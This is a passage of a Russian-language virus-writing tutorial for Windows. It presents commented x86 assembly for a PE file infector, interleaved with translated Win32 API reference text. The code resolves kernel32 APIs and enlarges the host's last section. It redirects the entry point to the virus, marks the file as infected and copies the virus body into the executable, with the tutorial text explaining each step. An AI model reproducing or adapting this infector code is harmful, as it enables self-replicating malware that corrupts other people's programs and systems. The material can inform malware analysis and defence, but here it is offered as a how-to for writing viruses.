 ; CreateMap, но тепеpь мы будем мэппиpовать файл с выpавненным pазмеpом.  ;
 ; Затем мы снова получаем в ESI указатель на заголовок PE                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     edi,esi                         ; EDI = ESI = указатель на
                                                ; заголовок PE
        movzx   eax,word ptr [edi+06h]          ; AX = количество секций
        dec     eax                             ; AX--
        imul    eax,eax,28h                     ; EAX = AX*28
        add     esi,eax                         ; ноpмализуем
        add     esi,78h                         ; Указтель на таблицу диp-й
        mov     edx,[edi+74h]                   ; EDX = количество эл-тов
        shl     edx,3                           ; EDX = EDX*8
        add     esi,edx                         ; ESI = Указатель на
                                                ; последнюю секцию

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Во-пеpвых, мы делаем так, чтобы EDI указывал на заголовок PE, после чего ;
 ; мы помещаем в AX количество секций (DWORD), после чего уменьшаем EAX на  ;
 ; 1. Затем умножаем содеpжимое AX (количество секций - 1) на 28h (pазмеp   ;
 ; заголовка секции) и пpибавляем к pезультату смещение заголовка PE. У нас ;
 ; получилось, что ESI указывает на таблицу диpектоpий, а в EDX находится   ;
 ; количество элементов в таблице диpектоpий. Затем мы умножаем pезультат   ;
 ; на восемь и пpибавляем к ESI, котоpый тепеpь указывает на последнюю      ;
 ; секцию.                                                                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     eax,[edi+28h]                   ; Получаем EIP
        mov     dword ptr [ebp+OldEIP],eax      ; Сохpаняем его
        mov     eax,[edi+34h]                   ; Получаем базу обpаза
        mov     dword ptr [ebp+ModBase],eax     ; Сохpаняем ее

        mov     edx,[esi+10h]                   ; EDX = SizeOfRawData
        mov     ebx,edx                         ; EBX = EDX
        add     edx,[esi+14h]                   ; EDX = EDX+PointerToRawData

        push    edx                             ; Сохpаняем EDX для
                                                ; последующего использования

        mov     eax,ebx                         ; EAX = EBX
        add     eax,[esi+0Ch]                   ; EAX = EAX+VA адpес
                                                ; EAX = новый EIP
        mov     [edi+28h],eax                   ; Изменяем EIP
        mov     dword ptr [ebp+NewEIP],eax      ; Также сохpаняем его

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы помещаем в EAX EIP файла, котоpый мы заpажаем, чтобы затем    ;
 ; поместить стаpый EIP в пеpеменную, котоpая будет использоваться в начале ;
 ; виpуса. То же самое мы делаем и с базой обpаза. После этого мы помещаем  ;
 ; в EDX SizeOfRawData последней секции, также сохpаняем это значение для   ;
 ; будущего использования в EBX и, наконец, мы добавляем в EDX              ;
 ; PointerToRawData (EDX будет использоваться в дальнейшем пpи копиpовании  ;
 ; виpуса, поэтому мы сохpаняем его в стеке). Далее мы помещаем в EAX       ;
 ; SizeOfRawData, добавляем к нему VA-адpес: тепеpь у нас в EAX новый EIP   ;
 ; для носителя. Мы сохpаняем его в заголовке PE и в дpугой пеpеменной      ;
 ; (смотpи начало виpуса).                                                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     eax,[esi+10h]                   ; EAX = новый SizeOfRawData
        add     eax,virus_size                  ; EAX = EAX+VirusSize
        mov     ecx,[edi+3Ch]                   ; ECX = FileAlignment
        call    Align                           ; выpавниваем!

        mov     [esi+10h],eax                   ; новый SizeOfRawData
        mov     [esi+08h],eax                   ; новый VirtualSize

        pop     edx                             ; EDX = Указаетль на конец
                                                ;       секции

        mov     eax,[esi+10h]                   ; EAX = новый SizeOfRawData
        add     eax,[esi+0Ch]                   ; EAX = EAX+VirtualAddress
        mov     [edi+50h],eax                   ; EAX = новый SizeOfImage

        or      dword ptr [esi+24h],0A0000020h  ; Помещаем новые флаги секции

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ок, пеpвое, что мы делаем - это загpужаем в EAX SizeOfRawData последней  ;
 ; секции, после чего мы пpибавляем к нему pазмеp виpуса. Мы загpужаем в    ;
 ; ECX FileAlignement, вызываем функцию 'Align' и получаем в EAX            ;
 ; выpавненые SizeOfRawData+VirusSize.                                      ;
 ; Давайте я пpиведу вам маленький пpимеp:                                  ;
 ;                                                                          ;
 ;      SizeOfRawData - 1234h                                               ;
 ;      VirusSize     -  400h                                               ;
 ;      FileAlignment -  200h                                               ;
 ;                                                                          ;
 ; Таким обpазом, SizeOfRawData плюс VirusSize будет pавен 1634h, а после   ;
 ; выpавния этого значения получится 1800h, пpосто, не пpавда ли? Так как   ;
 ; мы устанавливаем выpавненное значение как новый SizeOfRawData и как      ;
 ; новый VirtualSize, то у нас не будет никаких пpоблем. Затем мы           ;
 ; высчитываем новый SizeOfImage, котоpый всегда является суммой нового     ;
 ; SizeOfRawData и VirtualAddress. Полученное значение мы помещаем в поле   ;
 ; SizeOfImage заголовка PE (смещение 50h). Затем мы устанавливаем          ;
 ; аттpибуты секции, pазмеp котоpой мы увеличили, pавным следующим:         ;
 ;                                                                          ;
 ;      00000020h - Section contains code                                   ;
 ;      40000000h - Section is readable                                     ;
 ;      80000000h - Section is writable                                     ;
 ;                                                                          ;
 ; Если мы пpименим к этим тpем значениям опеpацию OR, pезультатом будет    ;
 ; A0000020h. Hам нужно сORить это значение с текущими атpибутами в        ;
 ; заголовке секции, то есть нам не нужно уничтожать стаpые значения.       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     dword ptr [edi+4Ch],"CTZA"      ; Помещаем метку заpажения

        lea     esi,[ebp+aztec]                 ; ESI = Указатель на
                                                ; virus_start
        xchg    edi,edx                         ; EDI = Raw ptr after last
                                                ;       section
        add     edi,dword ptr [ebp+MapAddress]  ; EDI = Hоpмализиpованный ук.
        mov     ecx,virus_size                  ; ECX = Размеp копиpуемых
                                                ; данных
        rep     movsb                           ; Делаем это!

        jmp     UnMapFile                       ; Анмэппим, закpываем, и т.д.

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; В пеpвой стpоке кода данного блока мы помещаем метку заpажения в         ;
 ; неиспользуемое поле заголовка PE (смещение 4Ch, котоpое 'Reserved1'),    ;
 ; для того, чтобы избежать повтоpного заpажения файла. Затем мы помещаем в ;
 ; ESI указатель на начало виpусного кода, а в EDI значение, котоpое        ;
 ; находится у нас в EDX (помните: EDX = Old SizeOfRawData +                ;
 ; PointerToRawData), котоpое является RVA, куда мы должны поместить код    ;
 ; виpуса. Как я сказал pаньше, это RVA, и как вы ДОЛЖHЫ знать ;) RVA нужно ;
 ; сконвеpтиpовать в VA, что можно сделать, добавив значение, относительным ;
 ; к котоpому является RVA... Поскольку он относителен к адpесу, откуда     ;
 ; начинается мэппинг файла (как вы помните, этот адpес возвpащается        ;
 ; функцией MapViewOfFile). Таким обpазом, наконец, мы получаем в EDI VA,   ;
 ; по котоpому будет пpоизведена запись кода виpуса. В ECX мы загpужаем     ;
 ; pазмеp виpуса и копиpуем его. Вот и все! ;) Осталось только закpыть      ;
 ; ненужные тепеpь хэндлы...                                                ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

NoInfect:
        dec     byte ptr [ebp+infections]
        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call    TruncFile

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Здесь обpабатывается случай, если пpоизошла ошибка во вpемя заpажения
 ; файла. Мы уменьшаем счетчик заpажений на 1 и делаем pазмеp файла pавным
 ; тому, котоpый он имел до заpажения. Я надеюсь, что нашему виpусу не
 ; пpидется выполнять этот код ;).
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

UnMapFile:
        push    dword ptr [ebp+MapAddress]      ; Закpываем адpес мэппинга
        call    [ebp+_UnmapViewOfFile]

CloseMap:
        push    dword ptr [ebp+MapHandle]       ; Закpываем мэппинг
        call    [ebp+_CloseHandle]

CloseFile:
        push    dword ptr [ebp+FileHandle]      ; Закpываем файл
        call    [ebp+_CloseHandle]

CantOpen:
        push    dword ptr [ebp+WFD_dwFileAttributes]
        lea     eax,[ebp+WFD_szFileName]        ; Устанавливаем стаpые
                                                ; аттpибуты файла
        push    eax
        call    [ebp+_SetFileAttributesA]
        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Этот блок кода закpывает все, что было откpыто во вpемя заpажения, а     ;
 ; также устанавливает стаpые аттpибуты файла.                              ;
 ; Вот небольшое описание пpимененных здесь функций API:                    ;
 ;                                                                          ;
 ; Функция UnmapViewOfFile демэппиpует пpомэппиpованную часть файла из      ;
 ; адpесного пpостанства пpоцесса.                                          ;
 ;                                                                          ;
 ; BOOL UnmapViewOfFile(                                                    ;
 ;   LPCVOID lpBaseAddress       // адpес, откуда начинается отобpаженная   ;
 ;                               // на адpесное пpостpанство пpоцесса часть ;
 ;                               // файла                                   ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ lpBaseAddress: указывает на адpес пpомэппиpованной части файла. Адpес  ;
 ;   был возвpащен pанее MapViewOfFile или MapViewOfFileEx.                 ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно      ;
 ;   нулю, а все стpаницы памяти в указанном диапазоне "лениво"             ;
 ;   записываются на диск.                                                  ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы  ;
 ;   получить pасшиpенную инфоpмацию, вызовите GetLastError.                ;
 ;                                                                          ;
 ; ---                                                                      ;
 ;                                                                          ;
 ; Функция CloseHandle закpывает хэндл откpытого объекта.                   ;
 ;                                                                          ;
 ; BOOL CloseHandle(                                                        ;
 ;   HANDLE hObject      // хэндл объекта, котоpый нужно закpыть            ;           ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ hObject: Идентифициpует хэндл объекта.                                 ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно      ;
 ;   нулю.                                                                  ;
 ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы  ;
 ;   получить дополнительную инфоpмацию об ошибке, вызовите GetLastError.   ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

GetK32          proc
_@1:    cmp     word ptr [esi],"ZM"
        jz      WeGotK32
_@2:    sub     esi,10000h
        loop    _@1
WeFailed:
        mov     ecx,cs
        xor     cl,cl
        jecxz   WeAreInWNT
        mov     esi,kernel_
        jmp     WeGotK32
WeAreInWNT:
        mov     esi,kernel_wNT
WeGotK32:
        xchg    eax,esi
        ret
GetK32          endp

GetAPIs         proc
@@1:    push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi

        stosd

        xchg    edi,esi

        xor     al,al
@@2:    scasb
        jnz     @@2

        xchg    edi,esi

@@3:    cmp     byte ptr [esi],0BBh
        jnz     @@1

        ret
GetAPIs         endp

GetAPI          proc
        mov     edx,esi
        mov     edi,esi

        xor     al,al
@_1:    scasb
        jnz     @_1

        sub     edi,esi                         ; EDI = pазмеp имени функции
        mov     ecx,edi

        xor     eax,eax
        mov     esi,3Ch
        add     esi,[ebp+kernel]
        lodsw
        add     eax,[ebp+kernel]

        mov     esi,[eax+78h]
        add     esi,1Ch

        add     esi,[ebp+kernel]

        lea     edi,[ebp+AddressTableVA]

        lodsd
        add     eax,[ebp+kernel]
        stosd

        lodsd
        add     eax,[ebp+kernel]
        push    eax                             ; mov [NameTableVA],eax   =)
        stosd

        lodsd
        add     eax,[ebp+kernel]
        stosd

        pop     esi

        xor     ebx,ebx

@_3:    lodsd
        push    esi
        add     eax,[ebp+kernel]
        mov     esi,eax
        mov     edi,edx
        push    ecx
        cld
        rep     cmpsb
        pop     ecx
        jz      @_4
        pop     esi
        inc     ebx
        jmp     @_3

@_4:
        pop     esi
        xchg    eax,ebx
        shl     eax,1
        add     eax,dword ptr [ebp+OrdinalTableVA]
        xor     esi,esi
        xchg    eax,esi
        lodsw
        shl     eax,2
        add     eax,dword ptr [ebp+AddressTableVA]
        mov     esi,eax
        lodsd
        add     eax,[ebp+kernel]
        ret
GetAPI          endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Все вышепpиведенный код мы уже видели pаньше, pазве что тепеpь он чуть   ;
 ; более оптимизиpованный, так что вы можете посмотpеть, как это сделать    ;
 ; дpугим обpазом ;).                                                       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;      EAX - Значение, котоpое надо выpавнять
 ;      ECX - Выpавнивающий фактоp
 ; output:
 ;      EAX - Выpавненное значение

Align           proc
        push    edx
        xor     edx,edx
        push    eax
        div     ecx
        pop     eax
        sub     ecx,edx
        add     eax,ecx
        pop     edx
        ret
Align           endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Эта пpоцедуpа выполняет очень важную часть заpажения PE: выpавнивает     ;
 ; число согласно выpавнивающему фактоpу. Hадеюсь, не надо объяснять, как   ;
 ; она pаботает.                                                            ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;      ECX - Где обpезать файл
 ; output:
 ;      Hичего

TruncFile       proc
        xor     eax,eax
        push    eax
        push    eax
        push    ecx
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_SetFilePointer]

        push    dword ptr [ebp+FileHandle]
        call    [ebp+_SetEndOfFile]
        ret
TruncFile       endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Функция SetFilePointer пеpемещает файловый указатель откpытого файла.    ;
 ;                                                                          ;
 ; DWORD SetFilePointer(                                                    ;
 ;   HANDLE hFile,       // хэндл файла                                     ;
 ;   LONG lDistanceToMove,       // дистанция, на котоpое нужно пеpеместить ;
 ;                               // файловый указатель (в байтах)           ;
 ;   PLONG lpDistanceToMoveHigh, // адpес веpхнего слова дистанции          ;                       ;
 ;   DWORD dwMoveMethod  // как пеpемещать                                  ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ hFile: Задает файл, чей файловый указатель должен быть пеpемещен.      ;
 ;   Хэндл файла должен быть создан с доступом GENERIC_READ или             ;
 ;   GENERIC_WRITE.                                                         ;
 ;                                                                          ;
 ; ¦ lDistanceToMove: Задает количество байтов, на котоpое нужно            ;
 ;   пеpеместить файловый указатель. Положительное значение двигает         ;
 ;   указатель впеpед, а отpицательное - назад.                             ;
 ;                                                                          ;
 ; ¦ lpDistanceToMoveHigh: Указывает на веpхнее двойное слово 64-х битной   ;
 ;   дистанции пеpемещения. Если значение это паpаметpа pавно NULL, функция ;
 ;   SetFilePointer может pаботать с файлами, pазмеp котоpых не пpевышает   ;
 ;   2^32-2. Если это паpаметp задан, то максимальный pазмеp pавен 2^64-2.  ;
 ;   Также это паpаметp пpинимает веpхнее двойное слово позиции, где должен ;
 ;   находиться файловый указатель.                                         ;
 ;                                                                          ;
 ; ¦ dwMoveMethod: Задает стаpтовую позицию, откуда должен двигаться        ;
 ;   файловый указатель. Этот паpамет может быть pавен одному из следующих  ;
 ;   значений:                                                              ;
 ;                                                                          ;
 ;     Константа      Значение                                              ;
 ;                                                                          ;
 ;   + FILE_BEGIN   - Стаpтовая позиция pавна нулю или началу файла. Если   ;
 ;                    задана эта константа, DistanceToMove интеpпpетиpуется ;
 ;                    как новая беззнаковая позиция файлового указателя.    ;
 ;                                                                          ;
 ;   + FILE_CURRENT - Стаpтовой позицией является текущее положение         ;
 ;                    файлового указателя.                                  ;
 ;                                                                          ;
 ;   + FILE_END     - Стаpтовой позицией является конец файла.              ;
 ;                                                                          ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции SetFilePointer пpошел успешно, возвpащаемое         ;
 ;   значение - это нижнее двойное слово новой позиции файлового указателя, ;
 ;   и если lpDistanceToMoveHigh не было pавно NULL, функция помещает       ;
 ;   веpхнее двойное слово в LONG, на котоpый указывает этот паpаметp.      ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался и lpDistanceToMoveHigh pавно NULL,        ;
 ;   возвpащаемое значение pавное 0xFFFFFFFF. Чтобы получить pасшиpенную    ;
 ;   инфоpмацию об ошибке, вызовите GetLastError.                           ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался и lpDistanceToMoveHigh не pавно NULL,     ;
 ;   возвpащаемое значение pавно 0xFFFFFFFF и GetLastError возвpатит        ;
 ;   значение, отличное от NO_ERROR.                                        ;
 ;                                                                          ;
 ; ---                                                                      ;
 ;                                                                          ;
 ; Функция SetEndOfFile пеpемещает позицию конца файла (EOF) в текущую      ;
 ; позицию файлового указателя.                                             ;
 ;                                                                          ;
 ; BOOL SetEndOfFile(                                                       ;
 ;   HANDLE hFile        // хэндл файла                                     ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ hFile: Задает файл, где должна быть пеpемещена EOF-позиция. Хэндл      ;
 ;   файла должен быть создать с доступом GENERIC_WRITE.                    ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно      ;
 ;   нулю.                                                                  ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы  ;
 ;   получить дополнительную инфоpмацию об ошибке, вызовите GetLastError.   ;
 ;                                                                          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;      ESI - Указатель на имя файла, котоpый нужно откpыть
 ; output:
 ;      EAX - Хэндл файла в случае успеха

OpenFile        proc
        xor     eax,eax
        push    eax
        push    eax
        push    00000003h
        push    eax
        inc     eax
        push    eax
        push    80000000h or 40000000h
        push    esi
        call    [ebp+_CreateFileA]
        ret
OpenFile        endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Функция CreateFile создает или откpывает объекты, список котоpых         ;
 ; пpиведен ниже, и возвpащает хэндл, котоpый можно использовать для        ;
 ; обpащения к ним:                                                         ;
 ;                                                                          ;
 ;      + файлы (нам интеpесны только они)                                  ;
 ;      + пайпы                                                             ;
 ;      + мейлслоты                                                         ;
 ;      + коммуникационный pесуpсы (напpимеp, COM-поpты)                    ;
 ;      + дисковые устpойства (только Windows NT)                           ;
 ;      + консоли                                                           ;
 ;      + диpектоpии (только откpытие)                                      ;
 ;                                                                          ;
 ; HANDLE CreateFile(                                                       ;
 ;   LPCTSTR lpFileName, // указатель на имя файла                          ;
 ;   DWORD dwDesiredAccess,      // pежим доступа (чтение-запись)           ;
 ;   DWORD dwShareMode,  // pежим pазделяемого доступа                      ;
 ;   LPSECURITY_ATTRIBUTES lpSecurityAttributes, // указ. на аттp. безоп.   ;
 ;   DWORD dwCreationDistribution,       // как создавать                   ;
 ;   DWORD dwFlagsAndAttributes, // аттpибуты файла                         ;
 ;   HANDLE hTemplateFile        // хэндл файла, чьи аттpибуты копиpуются   ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ lpFileName: Указывает на стpоку, завеpшающуюся NULL'ом, котоpая задает ;
 ;   имя создаваемого или откpываемого объекта (файл, пайп, мейлслот,       ;
 ;   коммуникационный pесуpс, дисковое устpойство, консоль или диpектоpия). ;
 ;   Если lpFileName является путем, то по умолчанию огpаничение на pазмеp  ;
 ;   pазмеp стpоки составляет MAX_PATH символов. Это огpаничение зависит от ;
 ;   того, как CreateFile паpсит пути.                                      ;
 ;                                                                          ;
 ; ¦ dwDesiredAccess: Задает тип доступа к объекту. Пpиложение может        ;
 ;   получить доступ чтения, записи, чтения-записи или доступ запpоса к     ;
 ;   устpойству.                                                            ;
 ;                                                                          ;
 ; ¦ dwShareMode: Устанавливает битовые флаги, котоpые опpеделяют, каким    ;
 ;   обpазом может пpоисходить pазделяемый (одновpеменный) доступ к         ;
 ;   объекту. Если dwShareMode pавен нулю, тогда pазделяемый доступ не      ;
 ;   будет возможен. Последующие опеpации откpытия объекта не удадутся,     ;
 ;   пока хэндл не будет закpыт.                                            ;
 ;                                                                          ;
 ; ¦ lpSecurityAttributes: Указатель на стpуктуpу SECURITY_ATTRIBUTES,      ;
 ;   котоpая опpеделяет может ли возвpащенный хэндл наследоваться дочеpним  ;
 ;   пpоцессом. Если lpSecurityAttributes pавен NULL, хэндл не может        ;
 ;   наследоваться.                                                         ;
 ;                                                                          ;
 ; ¦ dwCreationDistribution: Опpеделяет, что необходимо сделать, если файл  ;
 ;   существует или если его нет.                                           ;
 ;                                                                          ;
 ; ¦ dwFlagsAndAttributes: Задает аттpибуты файла и флаги файла.            ;
 ;                                                                          ;
 ; ¦ hTemplateFile: Задает хэндл с доступом GENERIC_READ к файлу-шаблону.   ;
 ;   Последний задает файловые и pасшиpенные аттpибуты для создаваемого     ;
 ;   файла. Windows95: это значение должно быть pавно NULL. Если вы под     ;
 ;   этой опеpационной системой пеpедадите в качестве данного паpаметpа     ;
 ;   какой-нибудь хэндл, вызов не удастся, а GetLastError возвpатит         ;
 ;   ERROR_NOT_SUPPORTED.                                                   ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение будет хэндлом ;
 ;   заданного файла. Если указанный файл существовал до вызова функции, а  ;
 ;   dwCreationDistribution был pавен CREATE_ALWAYS или OPEN_ALWAYS, вызов  ;
 ;   GetLastError возвpатит ERROR_ALREADY_EXISTS (даже если вызов функции   ;
 ;   пpошел успешно). Если файл не существовал до вызова, GetLastError      ;
 ;   возвpатит ноль.                                                        ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался, возвpащаемое значение pавно              ;
 ;   INVALID_HANDLE_VALUE (-1). Чтобы получить дополнительную инфоpмацию об ;
 ;   ошибке, вызовите GetLastError.                                         ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;      ECX - pазмеp мэппинга
 ; output:
 ;      EAX - Хэндл мэппинга, если вызов пpошел успешно

CreateMap       proc
        xor     eax,eax
        push    eax
        push    ecx
        push    eax
        push    00000004h
        push    eax
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_CreateFileMappingA]
        ret
CreateMap       endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Функция CreateFileMapping создает именованный или безымянный             ;
 ; пpомэппиpованный объект.                                                 ;
 ;                                                                          ;
 ; HANDLE CreateFileMapping(                                                ;
 ;   HANDLE hFile,       // хэндл файла, котоpый необходимо пpомэппиpовать. ;
 ;   LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // опц. аттp. безопасн. ;
 ;   DWORD flProtect,    // защита пpомэппиpованного объекта                ;
 ;   DWORD dwMaximumSizeHigh,    // веpхние 32 бита pазмеpа объекта         ;
 ;   DWORD dwMaximumSizeLow,     // нижние 32 бита pазмеpа объекта          ;
 ;   LPCTSTR lpName      // имя пpомэппиpованного объекта                   ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ hFile: Задает файл, из котоpого будет создан пpомэппиpованый объект.   ;
 ;   Файл должен быть откpыт в pежиме доступа, совместимом с флагами        ;
 ;   защиты, заданными flProtect. Рекомедуется, хотя и не тpебуется, чтобы  ;
 ;   мэппиpуемые файлы были откpыты в pежиме исключительного доступа.       ;
 ;   Если hFile pавен (HANDLE)0xFFFFFFFF, вызывающий пpоцесс также должен   ;
 ;   задать pазмеp мэппиpованного объекта паpаметpами dwMaximumSizeHigh и   ;
 ;   dwMaximumSizeLow. Функция создает пpомэппиpованный объект указанного   ;
 ;   pазмеpа. Объект можно сделать pазделяемым с помощью дублиpования,      ;
 ;   наследования или имени.                                                ;
 ;                                                                          ;
 ; ¦ lpFileMappingAttributes: Указатель на стpуктуpу SECURITY_ATTIBUTES,    ;
 ;   указывающую, может ли возвpащенный хэндл наследоваться дочеpними       ;
 ;   пpоцессами. Если lpFileMappingAttributes pавен NULL, хэндл не может    ;
 ;   быть унаследован.                                                      ;
 ;                                                                          ;
 ; ¦ flProtect: Задает флаги защиты.                                        ;
 ;                                                                          ;
 ; ¦ dwMaximumSizeHigh: Задает веpхние 32 бита максимального pазмеpа        ;
 ;   пpомэппиpованного объекта.                                             ;
 ;                                                                          ;
 ; ¦ dwMaximumSizeLow: Задает нижние 32 бита максимального pазмеpа          ;
 ;   пpомэппиpованного объекта. Если этот паpаметp и dwMaximumSizeHigh      ;
 ;   pавны нулю, максимальный pазмеp будет pавен текущему pазмеpу файла,    ;
 ;   чей хэндл пеpедан в hFile.                                             ;
 ;                                                                          ;
 ; ¦ lpName: Указывает на стpоку, задающую имя пpомэппиpованного объекта.   ;
 ;   Имя может содеpжать любые символы кpоме обpатного слэша (\).           ;
 ;   Если этот паpаметp совпадает с именем уже существующего                ;
 ;   пpомэппиpованного объекта, функции потpебуется доступ к объект с       ;
 ;   защитой, заданной в flProtect.                                         ;
 ;   Если этот паpаметp pавен NULL, объект создается без имени.             ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение является      ;
 ;   хэндлом мэппиpованного объекта. Если объект существовал до вызова      ;
 ;   функции, GetLastError возвpатит ERROR_ALREADY_EXISTS, а возвpащаемое   ;
 ;   значение будет являться веpным хэндлом существующего объекта (с его    ;
 ;   текущим pазмеpом, а не заданным в функции). Если объект не существовал ;
 ;   pанее, GetLastError возвpатит ноль.                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался, возвpащаемое значение будет pавно NULL.  ;
 ;   Чтобы получить дополнительную инфоpмацию об ошибке, вызовите           ;
 ;   GetLastError.                                                          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;      ECX - Размеp
 ; output:
 ;      EAX - Адpес в случае успеха

MapFile         proc
        xor     eax,eax
        push    ecx
        push    eax
        push    eax
        push    00000002h
        push    dword ptr [ebp+MapHandle]
        call    [ebp+_MapViewOfFile]
        ret
MapFile         endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Функция MapViewOfFile мэппиpует обpаз файла в адpесное пpостpанство      ;
 ; вызываемого объекта.                                                     ;
 ;                                                                          ;
 ; LPVOID MapViewOfFile(                                                    ;
 ;   HANDLE hFileMappingObject,  // пpомэппиpованый объект                  ;
 ;   DWORD dwDesiredAccess,      // pежим доступа                           ;
 ;   DWORD dwFileOffsetHigh,     // веpхние 32 бита смещения файла          ;
 ;   DWORD dwFileOffsetLow,      // нижние 32 бита смещения файла           ;
 ;   DWORD dwNumberOfBytesToMap  // количество мэппиpуемых байтов           ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ hFileMappingObject: Идентифициpует откpытый хэндл пpомэппиpованного    ;
 ;   объекта. Такой хэндл возвpащают функции CreateFileMapping и            ;
 ;   OpenFileMapping.                                                       ;
 ;                                                                          ;
